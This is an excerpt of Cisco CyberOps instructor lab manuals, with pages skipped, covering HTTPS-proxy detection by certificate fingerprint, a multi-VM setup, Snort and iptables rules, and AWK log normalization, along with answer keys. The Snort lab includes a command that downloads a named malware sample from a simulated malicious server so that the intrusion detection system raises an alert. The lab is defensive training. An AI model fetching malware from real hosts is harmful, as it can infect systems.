Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 9 www.netacad.com
Lab – Certificate Authority Stores
3. Because the presented certificate is signed by one of the CAs included in the laptop’s CA store
(remember, it was added by IT), the web browser mistakenly believes it is indeed communicating with H.
Notice that, had the extra CA not been added to the CA store, the laptop would not trust the certificate
and immediately realize that someone else was trying to impersonate H.
4. The laptop trusts the connection and establishes a secure channel with the HTTPS proxy, mistakenly
believing it is communicating securely with H.
5. The HTTPS proxy now establishes a second secure connection to H, the web site the user was trying to
access from the beginning.
6. The HTTPS proxy is now the end point of two separate secure connections; one established with the user
and another established with H. Because the HTTPS is the end point of both connections, it can now
decrypt traffic from both connections.
7. The HTTPS proxy can now receive TLS/SSL-encrypted user traffic destined to H, decrypt it, inspect it, re-
encrypt it using TLS/SSL and send it to H. When H responds, the HTTPS proxy reverses the process
before forwarding the traffic to the user.
Notice that process is mostly transparent to the user, who sees the connection as TLS/SSL-encrypted (green
marks on the browser). While the connection is secure (TLS/SSL-encrypted), it has been established to a
spurious web site.
Even though their presence is mostly transparent to the user, TLS proxies can be easily detected with the
help of hashes. Considering the example above, because the HTTPS proxy has no access to the site H
private keys, the certificate it presents to the user is different than the certificate presented by H. Included in
every certificate is a value known as a fingerprint. Essentially a hash calculated and signed by the certificate
issuer, the fingerprint acts as a unique summary of all the contents of the certificate. If as much as one letter
of the certificate is modified, the fingerprint will yield a completely different value when calculated. Because of
this property, fingerprints are used to quickly compare certificates. Returning to the example above, the user
can request H’s certificate and compare the fingerprint included in it with the one provided when the
connection to the web site H was established. If the fingerprints match, the connection is indeed established
to H. If the fingerprints do not match, the connection has been established to some other end point.
Follow the steps below to assess if there’s a HTTPS proxy in your connection.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 9 www.netacad.com
Lab – Certificate Authority Stores
Step 2: Gather the certificate fingerprint in use by the CyberOps Workstation VM.
Now that we have the actual fingerprints, it is time to fetch fingerprints from a local host and compare the
values. If the fingerprints do not match, the certificate in use does NOT belong to the HTTPS site being
verified, which means there’s an HTTPS proxy in between the host computer and the HTTPS site being
verified. Matching fingerprints means no HTTPS proxy is in place.
a. Use the three piped commands below to fetch the fingerprint for Cisco.com. The line below uses
OpenSSL to connect to cisco.com on port 443 (HTTPS), request the certificate and store it on a text file
named cisco.pem. The output is also shown for context.
[analyst@secOps ~]$ echo -n | openssl s_client -connect cisco.com:443 | sed
-ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > ./cisco.pem
depth=2 C = BM, O = QuoVadis Limited, CN = QuoVadis Root CA 2
verify return:1
depth=1 C = US, O = HydrantID (Avalanche Cloud Corporation), CN = HydrantID SSL ICA G2
verify return:1
depth=0 C = US, ST = CA, L = San Jose, O = "Cisco Systems, Inc.", CN = www.cisco.com
verify return:1
DONE
b. Optionally, use the cat command to list the contents of the fetched certificate and stored in the
cisco.pem text file:
[analyst@secOps ~]$ cat cisco.pem
-----BEGIN CERTIFICATE-----
MIIG1zCCBL+gAwIBAgIUKBO9xTQoMemc9zFHNkdMW+SgFO4wDQYJKoZIhvcNAQEL
BQAwXjELMAkGA1UEBhMCVVMxMDAuBgNVBAoTJ0h5ZHJhbnRJRCAoQXZhbGFuY2hl
IENsb3VkIENvcnBvcmF0aW9uKTEdMBsGA1UEAxMUSHlkcmFudElEIFNTTCBJQ0Eg
RzIwHhcNMTcxMjA3MjIxODU1WhcNMTkxMjA3MjIyODAwWjBjMQswCQYDVQQGEwJV
UzELMAkGA1UECAwCQ0ExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNj
byBTeXN0ZW1zLCBJbmMuMRYwFAYDVQQDDA13d3cuY2lzY28uY29tMIIBIjANBgkq
yvo6dWpJdSircYy8HG0nz4+936+2waIVf1BBQXZUjNVuws74Z/eLIpl2c6tANmE0
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 9 www.netacad.com
Lab – Certificate Authority Stores
q1i7fiWgItjDQ8rfjeX0oto6rvp8AXPjPY6X7PT1ulfhkLYnxqXHPETRwr8l5COO
MDEh95cRxATXNAlWAwLcBT7lDmrGron6rW6hDtuUPPG/rjZeZbNww5p/nT3EXX2L
Rh+m0R4j/tuvy/77YRWyp/VZhmSLrvZEYiVjM2MgCXBvqR+aQ9zWJkw+CAm5Z414
Eiv5RLctegYuBUMGTH1al9r5cuzfwEg2mNkxl4I/mtDro2kDAv7bcTm8T1LsZAO/
1bWvudsrTA8jksw+1WGAEd9bHi3ZpJPYedlL
-----END CERTIFICATE-----
[analyst@secOps ~]$
c. Now that the certificate is saved in the cisco.pem text file, use the command below to extract and display
its fingerprint:
[analyst@secOps ~]$ openssl x509 -noout -in cisco.pem -fingerprint -sha1
SHA1 Fingerprint=64:19:CA:40:E2:1B:3F:92:29:21:A9:CE:60:7D:C9:0C:39:B5:71:3E
[analyst@secOps ~]$
Note: Your fingerprint value may be different for two reasons. First, you may be using a different
operating system than the CyberOps Workstation VM. Second, certificates are regularly refreshed
changing the fingerprint value.
What hash algorithm was used by OpenSSL to calculate the fingerprint?
____________________________________________________________________________________
SHA-1
Why was that specific algorithm chosen? Does it matter?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
The fingerprints acquired and shown in the table are all SHA-1. Any other algorithm used by OpenSSL
when computing the fingerprint would yield a different hash and therefore a different fingerprint,
invalidating the test.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 9 www.netacad.com
Lab – Certificate Authority Stores
machine and the cisco.com site are end-to-end encrypted. Non-matching fingerprints mean that someone
else has intercepted the connection, sent its own certificate to the host machine and established a new
SSL/TLS connection to cisco.com, placing itself in the middle. Because a new certificate was sent to the local
machine, the fingerprint of that new certificate is different than the certificate used by cisco.com. Traffic
between the local machine and the cisco.com site can be read by the HTTPS proxy.
Is this method 100% foolproof?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
No. While non-matching fingerprints communicates SSL/TLS traffic interception, matching fingerprints should
be handled with care. A few exceptions to consider are: 1. The CyberOps Workstation VM will likely NOT
have any enterprise-owned CA root certificates installed. In that scenario, the VM may not have its traffic
intercepted while other machines in local network do. 2. The enterprise could use dynamic rules to intercept
only selected sites.
Reflection
What would be necessary for the HTTPS proxy to work?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
The local machine would have to trust the HTTPS proxy blindly. Companies and organizations that wish to
monitor HTTPS traffic achieve this trust by installing the HTTPS proxy’s certificate into the local machine’s
root certificate store. In this scenario, the local machines will trust the HTTPS proxy, allowing it to decrypt the
traffic without any warnings.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 9 www.netacad.com
Lab – Setup a Multi-VM Environment (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Topology
Objectives
In this lab, you will set up a virtual network environment by connecting multiple virtual machines in Virtualbox.
Background / Scenario
A virtual network security sandbox or multi-VM lab environment is useful for security analysis and testing. This
multi-VM environment is a requirement for more advanced labs in this course.
Required Resources
The CyberOps Workstation VM (cyberops_workstation.ova).
Internet Connection
The following .ova files for creating additional VMs: kali_linux.ova, metasploitable.ova, and
security_onion.ova. Click each link to download the files.
Host computer with at least 8 GB of RAM and 45 GB of free disk space.
Note: If your computer only has 8 GB of RAM, make sure you have no other applications open except for
a PDF reader program to refer to this lab. VM Settings
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 7 www.netacad.com
Lab – Setup a Multi-VM Environment
Disk
Virtual Machine OS OVA Size RAM Username Password
Space
Note: If you have typed the username incorrectly for the Kali VM, click Cancel to input the correct username.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 7 www.netacad.com
Lab – Setup a Multi-VM Environment
b. A new window will appear presenting the settings suggested in the OVA archive. Check the "Reinitialize
the MAC address of all network cards" box at bottom of the window. Leave all other settings as default.
Click Import.
c. After the import is complete, VirtualBox will show the new Kali VM. Your Kali Linux VM file name might be
different than the graphic shown below.
d. Now import the Metasploitable and the Security Onion VMs using the same method.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 7 www.netacad.com
Lab – Setup a Multi-VM Environment
b. Metasploitable has two network adaptors using internal network mode, Adapter 1 corresponds to this
lab and is in the dmz VLAN. While Adapter 2 is displayed by VirtualBox, it is not used in this topology and
it can be ignored.
c. Security Onion has four network adaptors, three using internal network mode and one using NAT mode
which could be used to reach the internet. Security Onion connects all of the VMs in the virtual network,
with a network adapter in each of the VLANs (inside, dmz, and internet).
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 7 www.netacad.com
Lab – Setup a Multi-VM Environment
d. CyberOps Workstation VM is in bridged mode. It is not in an internal network with the other VMs. You will
need to change the network adapter next.
e. Select the CyberOps Workstation VM in VirtualBox and click Settings. Select Network and change
Adapter 1 to internal network, with the name inside. Click OK.
f. Now that the network adapter is in the right internal network or VLAN, launch the CyberOps Workstation
VM and log in. You will need to change the IP address settings to communicate on the virtual network.
g. Open a command prompt and examine the contents of the scripts folder inside the
lab.support.files/scripts folder.
[analyst@secOs~]$ ls lab.support.files/scripts
configure_as_dhcp.sh cyops.mn start_ELK.sh
configure_as_static.sh fw_rules start_miniedit.sh
cyberops_extended_topo_no_fw.py mal_server_start.sh start_pox.sh
cyberops_extended_topo.py net_configuration_files start_snort.sh
cyberops_topo.py reg_server_start.sh start_tftpd.sh
[analyst@secOps ~]$
h. The script configure_as_dhcp.sh is used to configure the network interface to request an IP address
from a DHCP server. This is the default setting for the CyberOps Workstation VM. To configure it for a
multi-VM environment, you will need to run the configure_as_static.sh script. This will configure the
network interface with the static IP address 192.168.0.11 and a default gateway of 192.168.0.1, which is
the Security Onion VM. The Security Onion VM is responsible for routing between the Inside, DMZ, and
Internet networks. Run the configure_as_static.sh script and enter the password (if prompted) to set the
IP address to 192.168.0.11 in the virtual network.
[analyst@secOs~]$ sudo ./lab.support.files/scripts/configure_as_static.sh
[sudo] password for analyst:
Configuring the NIC as:
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 7 www.netacad.com
Lab – Setup a Multi-VM Environment
IP: 192.168.0.11/24
GW: 192.168.0.1
IP Configuration successful.
[analyst@secOps ~]$
Note: If you need to use CyberOps Workstation VM as a stand-alone environment with access to the
Internet, change the network adapter back to bridged mode and run the configure_as_dhcp.sh script.
i. Return to VirtualBox and power on the other VMs: Kali Linux, Metasploitable, and Security Onion. Refer
to the VM Settings table for username and password information.
Note: If necessary, use the right control key to unlock the cursor to navigate between windows.
j. When all of the VMs are running, ping from the CyberOps Workstation VM to the Metasploitable and Kali
Linux VMs. Use Ctrl+C to stop the ping.
[analyst@secOps ~]$ ping 209.165.200.235
PING 209.165.200.235 (209.165.200.235) 56(84) bytes of data.
64 bytes from 209.165.200.235: icmp_seq=1 ttl=63 time=1.16 ms
64 bytes from 209.165.200.235: icmp_seq=2 ttl=63 time=0.399 ms
64 bytes from 209.165.200.235: icmp_seq=3 ttl=63 time=0.379 ms
^C
--- 209.165.200.235 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 0.379/0.646/1.162/0.365 ms
[analyst@secOps ~]$ ping 209.165.201.17
PING 209.165.201.17 (209.165.201.17) 56(84) bytes of data.
64 bytes from 209.165.201.17: icmp_seq=1 ttl=63 time=0.539 ms
64 bytes from 209.165.201.17: icmp_seq=2 ttl=63 time=0.531 ms
64 bytes from 209.165.201.17: icmp_seq=3 ttl=63 time=0.567 ms
64 bytes from 209.165.201.17: icmp_seq=4 ttl=63 time=0.408 ms
64 bytes from 209.165.201.17: icmp_seq=5 ttl=63 time=0.431 ms
^C
--- 209.165.201.17 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4065ms
rtt min/avg/max/mdev = 0.408/0.495/0.567/0.064 ms
[analyst@secOps ~]$
k. Close the terminal window when finished.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 7 www.netacad.com
Lab – Setup a Multi-VM Environment
b. Click the Save the machine state radio button and click OK. The next time you start the virtual machine,
you will be able to resume working in the operating system in its current state.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 7 www.netacad.com
Lab – Snort and Firewall Rules (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Topology
Objectives
Part 1: Preparing the Virtual Environment
Part 2: Firewall and IDS Logs
Part 3: Terminate and Clear Mininet Process
Background / Scenario
In a secure production network, network alerts are generated by various types of devices such as security
appliances, firewalls, IPS devices, routers, switches, servers, and more. The problem is that not all alerts are
created equally. For example, alerts generated by a server and alerts generated by a firewall will be different
and vary in content and format.
In this lab, to get familiar with firewall rules and IDS signatures.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 10 www.netacad.com
Lab – Snort and Firewall Rules
Required Resources
CyberOps Workstation VM
Internet connection
Note: In this lab, the CyberOps Workstation VM is a container for holding the Mininet environment shown in
the Topology. If a memory error is received in an attempt to run any command, quit out of the step, go to the
VM settings, and increase the memory. The default is 1 GB; try 2GB.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 10 www.netacad.com
Lab – Snort and Firewall Rules
A common firewall design is to drop packets by default while manually specifying what traffic should be
allowed. Known as dropping-by-default, this design has the advantage protecting the network from unknown
protocols and attacks. As part of this design, it is common to log the events of dropped packets since these
are packets that were not explicitly allowed and therefore, infringe on the organization’s policies. Such events
should be recorded for future analysis.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 10 www.netacad.com
Lab – Snort and Firewall Rules
d. From the CyberOps Workstation VM mininet prompt, open shells for hosts H5 and H10.
mininet> xterm H5
mininet> xterm H10
mininet>
e. H10 will simulate a server on the Internet that is hosting malware. On H10, run the mal_server_start.sh
script to start the server.
[root@secOps analyst]# ./lab.support.files/scripts/mal_server_start.sh
[root@secOps analyst]#
f. On H10, use netstat with the -tunpa options to verify that the web server is running. When used as
shown below, netstat lists all ports currently assigned to services:
[root@secOps analyst]# netstat -tunpa
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
PID/Program name
tcp 0 0 0.0.0.0:6666 0.0.0.0:* LISTEN
1839/nginx: master
[root@secOps analyst]#
As seen by the output above, the lightweight webserver nginx is running and listening to connections on
port TCP 6666.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 10 www.netacad.com
Lab – Snort and Firewall Rules
g. In the R1 terminal window, an instance of Snort is running. To enter more commands on R1, open
another R1 terminal by entering the xterm R1 again in the CyberOps Workstation VM terminal window,
as shown below. You may also want to arrange the terminal windows so that you can see and interact
with each device. The figure below shows an effective arrangement for the rest of this lab.
h. In the new R1 terminal tab, run the tail command with the -f option to monitor the /var/log/snort/alert file
in real-time. This file is where snort is configured to record alerts.
[root@sec0ps analyst]# tail -f /var/log/snort/alert
Because no alerts were yet recorded, the log should be empty. However, if you have run this lab before,
old alert entries may be shown. In either case, you will not receive a prompt after typing this command.
This window will display alerts as they happen.
i. From H5, use the wget command to download a file named W32.Nimda.Amm.exe. Designed to
download content via HTTP, wget is a great tool for downloading files from web servers directly from the
command line.
[root@secOps analyst]# wget 209.165.202.133:6666/W32.Nimda.Amm.exe
--2017-04-28 17:00:04-- http://209.165.202.133:6666/W32.Nimda.Amm.exe
Connecting to 209.165.202.133:6666... connected.
HTTP request sent, awaiting response... 200 OK
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 10 www.netacad.com
Lab – Snort and Firewall Rules
[root@secOps analyst]#
What port is used when communicating with the malware web server? What is the indicator?
____________________________________________________________________________________
____________________________________________________________________________________
Port 6666. The port was specified in the URL, after the : separator.
Was the file completely downloaded? ___________________________________________ Yes
Did the IDS generate any alerts related to the file download? ________________________ Yes
j. As the malicious file was transiting R1, the IDS, Snort, was able to inspect its payload. The payload
matched at least one of the signatures configured in Snort and triggered an alert on the second R1
terminal window (the tab where tail -f is running). The alert entry is show below. Your timestamp will be
different:
04/28-17:00:04.092153 [**] [1:1000003:0] Malicious Server Hit! [**] [Priority: 0]
{TCP} 209.165.200.235:34484 -> 209.165.202.133:6666
Based on the alert shown above, what was the source and destination IPv4 addresses used in the
transaction?
____________________________________________________________________________________
____________________________________________________________________________________
Source IP: 209.165.200.235; Destination IP: 209.165.202.133.
Based on the alert shown above, what was the source and destination ports used in the transaction?
____________________________________________________________________________________
____________________________________________________________________________________
Source port: 34484; Destination port: 6666. (Note: the source port will vary).
Based on the alert shown above, when did the download take place?
____________________________________________________________________________________
____________________________________________________________________________________
April 28th, 2017. Around 5pm for the example, but the student’s answer will be different.
Based on the alert shown above, what was the message recorded by the IDS signature?
____________________________________________________________________________________
____________________________________________________________________________________
“Malicious Server Hit!”
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 10 www.netacad.com
Lab – Snort and Firewall Rules
On H5, use the tcpdump command to capture the event and download the malware file again so you can
capture the transaction. Issue the following command below start the packet capture:
[root@secOps analyst]# tcpdump –i H5-eth0 –w nimda.download.pcap &
[1] 5633
[root@secOps analyst]# tcpdump: listening on H5-eth0, link-type EN10MB (Ethernet),
capture size 262144 bytes
The command above instructs tcpdump to capture packets on interface H5-eth0 and save the capture to
a file named nimda.download.pcap.
The & symbol at the end tells the shell to execute tcpdump in the background. Without this symbol,
tcpdump would make the terminal unusable while it was running. Notice the [1] 5633; it indicates one
process was sent to background and its process ID (PID) is 5366. Your PID will most likely be different.
k. Press ENTER a few times to regain control of the shell while tcpdump runs in background.
l. Now that tcpdump is capturing packets, download the malware again. On H5, re-run the command or
use the up arrow to recall it from the command history facility.
[root@secOps analyst]# wget 209.165.202.133:6666/W32.Nimda.Amm.exe
--2017-05-02 10:26:50-- http://209.165.202.133:6666/W32.Nimda.Amm.exe
Connecting to 209.165.202.133:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 345088 (337K) [application/octet-stream]
Saving to: 'W32.Nimda.Amm.exe'
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 10 www.netacad.com
Lab – Snort and Firewall Rules
Note: Your directory list may have a different mix of files, but you should still see the
nimda.download.pcap file.
How can be this PCAP file be useful to the security analyst?
____________________________________________________________________________________
____________________________________________________________________________________
PCAP files contain the packets related to the traffic seen by the capturing NIC. In that way, the PCAP is
very useful to re-retrace network events such as communication to malicious end points. Tools such as
Wireshark can be used to facilitate PCAP analysis.
Note: The analysis of the PCAP file will be performed in another lab.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 10 www.netacad.com
Lab – Snort and Firewall Rules
[root@secOps ~]#
What chains are currently in use by R1?
____________________________________________________________________________________
INPUT, OUTPUT and FORWARD
c. Connections to the malicious server generate packets that must transverse the iptables firewall on R1.
Packets traversing the firewall are handled by the FORWARD rule and therefore, that is the chain that will
receive the blocking rule. To keep user computers from connecting to the malicious server identified in
Step 1, add the following rule to the FORWARD chain on R1:
[root@secOps ~]# iptables -I FORWARD -p tcp -d 209.165.202.133 --dport 6666 -
j DROP
[root@secOps ~]#
Where:
o -I FORWARD: inserts a new rule in the FORWARD chain.
o -p tcp: specifies the TCP protocol.
o -d 209.165.202.133: specifies the packet’s destination
o --dport 6666: specifies the destination port
o -j DROP: set the action to drop.
d. Use the iptables command again to ensure the rule was added to the FORWARD chain. The CyberOps
Workstation VM may take a few seconds to generate the output:
[root@secOps analyst]# iptables -L -v
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 10 www.netacad.com
Lab – Snort and Firewall Rules
Enter Ctrl+C to cancel the download, if necessary. Was the download successful this time? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
No. The firewall is blocking connections to the malware hosting server.
What would be a more aggressive but also valid approach when blocking the offending server?
____________________________________________________________________________________
____________________________________________________________________________________
Instead of specifying IP, protocol and port, a rule could simply block the server’s IP address. This would
completely cut access to that server from the internal network.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 10 www.netacad.com
Lab - Convert Data into a Universal Format (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Objectives
Part 1: Normalize Timestamps in a Log File
Part 2: Normalize Timestamps in an Apache Log File
Part 3: Log File Preparation in Security Onion
Background / Scenario
This lab will prepare students to learn where log files are located and how to manipulate and view log files.
Log entries are generated by network devices, operating systems, applications, and various types of
programmable devices. A file containing a time-sequenced stream of log entries is called a log file.
By nature, log files record events that are relevant to the source. The syntax and format of data within log
messages are often defined by the application developer.
Therefore, the terminology used in the log entries often varies from source to source. For example, depending
on the source, the terms login, logon, authentication event, and user connection, may all appear in log entries
to describe a successful user authentication to a server.
It is often desirable to have a consistent and uniform terminology in logs generated by different sources. This
is especially true when all log files are being collected by a centralized point.
The term normalization refers to the process of converting parts of a message, in this case a log entry, to a
common format.
In this lab, you will use command line tools to manually normalize log entries. In Part 2, the timestamp field
will be normalized. In Part 3, the IPv6 field will be normalized.
Note: While numerous plugins exist to perform log normalization, it is important to understand the basics
behind the normalization process.
Required Resources
CyberOps Workstation VM
Security Onion VM
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
From a programmability stand point, it is much easier to work with Epoch as it allows for easier addition and
subtraction operations. From an analysis perspective; however, Human Readable timestamps are much
easier to interpret.
Converting Epoch to Human Readable Timestamps with AWK
AWK is a programming language designed to manipulate text files. It is very powerful and especially useful
when handling text files where the lines contain multiple fields, separated by a delimiter character. Log files
contain one entry per line and are formatted as delimiter-separated fields, making AWK a great tool for
normalizing.
Consider the applicationX_in_epoch.log file below. The source of the log file is not relevant.
2|Z|1219071600|AF|0
3|N|1219158000|AF|89
4|N|1220799600|AS|12
1|Z|1220886000|AS|67
5|N|1220972400|EU|23
6|R|1221058800|OC|89
The log file above was generated by application X. The relevant aspects of the file are:
o The columns are separated, or delimited, by the | character. Therefore, the file has five columns.
o The third column contains timestamps in Unix Epoch.
o The file has an extra line at the end. This will be important later in the lab.
Assume that a log analyst needed to convert the timestamps to the Human Readable format. Follow the steps
below to use AWK to easily perform the manual conversion:
a. Launch the CyberOps Workstation VM and then launch a terminal window.
b. Use the cd command to change to the /home/analyst/lab.support.files/ directory. A copy of the file
shown above is stored there.
[analyst@secOps ~]$ cd ./lab.support.files/
[analyst@secOps lab.support.files]$ ls -l
total 580
-rw-r--r-- 1 analyst analyst 649 Jun 28 18:34 apache_in_epoch.log
-rw-r--r-- 1 analyst analyst 126 Jun 28 11:13 applicationX_in_epoch.log
drwxr-xr-x 4 analyst analyst 4096 Aug 7 15:29 attack_scripts
-rw-r--r-- 1 analyst analyst 102 Jul 20 09:37 confidential.txt
<output omitted>
[analyst@secOps lab.support.files]$
c. Issue the following AWK command to convert and print the result on the terminal:
Note: It is easy to make a typing error in the following script. Consider copying the script out to a text
editor to remove the extra line breaks. Then copy the script from the text editor into the CyberOps
Workstation VM terminal window. However, be sure to study the script explanation below to learn how
this script modifies the timestamp field.
[analyst@secOps lab.support.files]$ awk 'BEGIN
{FS=OFS="|"}{$3=strftime("%c",$3)} {print}' applicationX_in_epoch.log
2|Z|Mon 18 Aug 2008 11:00:00 AM EDT|AF|0
3|N|Tue 19 Aug 2008 11:00:00 AM EDT|AF|89
4|N|Sun 07 Sep 2008 11:00:00 AM EDT|AS|12
1|Z|Mon 08 Sep 2008 11:00:00 AM EDT|AS|67
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
d. Use nano (or your favorite text editor) to remove the extra empty line at the end of the file and run the
AWK script again.
[analyst@secOps lab.support.files]$ nano applicationX_in_epoch.log
Is the output correct now? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Yes. Because the empty line was removed, no extra data was created and added to the log file by the
script.
e. While printing the result on the screen is useful for troubleshooting the script, analysts will likely need to
save the output in a text file. Redirect the output of the script above to a file named
applicationX_in_human.log to save it to a file:
[analyst@secOps lab.support.files]$ awk 'BEGIN
{FS=OFS="|"}{$3=strftime("%c",$3)} {print}' applicationX_in_epoch.log >
applicationX_in_human.log
[analyst@secOps lab.support.files]$
What was printed by the command above? Is this expected?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Nothing was printed on the screen. Yes, it is expected, as the command output was redirected to a text
file named applicationX_in_human.log.
f. Use cat to view the applicationX_in_human.log. Notice that the extra line is now removed and the
timestamps for the log entries have been converted to human readable format.
[analyst@secOps lab.support.files]$ cat applicationX_in_human.log
2|Z|Mon 18 Aug 2008 11:00:00 AM EDT|AF|0
3|N|Tue 19 Aug 2008 11:00:00 AM EDT|AF|89
4|N|Sun 07 Sep 2008 11:00:00 AM EDT|AS|12
1|Z|Mon 08 Sep 2008 11:00:00 AM EDT|AS|67
5|N|Tue 09 Sep 2008 11:00:00 AM EDT|EU|23
6|R|Wed 10 Sep 2008 11:00:00 AM EDT|OC|89
[analyst@secOps lab.support.files]$
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
d. Before moving forward, think about the output of the script. Can you guess what caused the incorrect
output? Is the script incorrect? What are the relevant differences between the
applicationX_in_epoch.log and apache_in_epoch.log?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
The problem is the square brackets in the course file. The script expects the timestamp to be in the Unix
Epoch format which does not include the square brackets. Because the script does not know what
number represents the “[“ character, it assumes zero and returns the Unix beginning of time in UTC -5.
e. To fix the problem, the square brackets must be removed from the timestamp field before the conversion
takes place. Adjust the script by adding two actions before the conversion, as shown below:
[analyst@secOps lab.support.files]$ awk 'BEGIN {FS=OFS=" "}
{gsub(/\[|\]/,"",$4)}{print}{$4=strftime("%c",$4)}{print}'
apache_in_epoch.log
Notice after specifying space as the delimiter with {FS=OFS=” “}, there is a regular expression action to
match and replace the square brackets with an empty string, effectively removing the square brackets
that appear in the timestamp field. The second action prints the updated line so the conversion action can
be performed.
gsub() – This is an internal AWK function used to locate and substitute strings. In the script
above, gsub() received three comma-separated parameters, described below.
/\[|\]/ – This is a regular expression passed to gsub() as the first parameter. The regular
expression should be read as ‘find “[“ OR “]”’. Below is the breakdown of the expression:
o The first and last “/” character marks the beginning and end of the search block. Anything
between the first “/” and the second “/” are related to the search. The “\” character is used
to escape the following “[“. Escaping is necessary because “[“ can also be used by an
operator in regular expressions. By escaping the “[“ with a leading “\”, we tell the
interpreter that the “]” is part of the content and not an operator. The “|” character is the
OR operator. Notice that the “|” is not escaped and will therefore, be seen as an operator.
Lastly, the regular expression escapes the closing square bracket with “\]”, as done
before.
"" – This represents no characters, or an empty string. This parameter tells gsub() what to
replace the “[“ and “]” with, when found. By replacing the “[“ and “]” with “”, gsub() effectively
removes the “[“ and “]” characters.
$4 – This tells gsub() to work only on the fourth column of the current line, the timestamp column.
Note: Regular expression interpretation is a SECOPS exam topic. Regular expressions are covered in
more detail in another lab in this chapter. However, you may wish to search the Internet for tutorials.
f. In a CyberOps Workstation VM terminal, execute the adjusted script, as follows:
[analyst@secOps lab.support.files]$ awk 'BEGIN {FS=OFS="
"}{gsub(/\[|\]/,"",$4)}{print}{$4=strftime("%c",$4)}{print}'
apache_in_epoch.log
Was the script able to properly convert the timestamps this time? Describe the output.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
Yes. The output now displays two lines for each log entry. The first line displays the timestamp in Unix
Epoch format and the second line is the same log entry with the timestamp displayed using Human
Readable format.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
b. You can also right-click the Desktop > Open Terminal Here, as show in the following screenshot:
c. ELSA logs can be found under the /nsm/elsa/data/elsa/log/ directory. Change the directory using the
following command:
analyst@SecOnion:~/Desktop$ cd /nsm/elsa/data/elsa/log
analyst@SecOnion:/nsm/elsa/data/elsa/log$
d. Use the ls –l command to list the files:
analyst@SecOnion:/nsm/elsa/data/elsa/log$ ls -l
total 99112
total 169528
-rw-rw---- 1 www-data sphinxsearch 56629174 Aug 18 14:15 node.log
-rw-rw---- 1 www-data sphinxsearch 6547557 Aug 3 07:34 node.log.1.gz
-rw-rw---- 1 www-data sphinxsearch 7014600 Jul 17 07:34 node.log.2.gz
-rw-rw---- 1 www-data sphinxsearch 6102122 Jul 13 07:34 node.log.3.gz
-rw-rw---- 1 www-data sphinxsearch 4655874 Jul 8 07:35 node.log.4.gz
-rw-rw---- 1 www-data sphinxsearch 6523029 Aug 18 14:15 query.log
-rw-rw---- 1 www-data sphinxsearch 53479942 Aug 18 14:15 searchd.log
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 10 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 11 of 12 www.netacad.com
Lab – Convert Data into a Universal Format
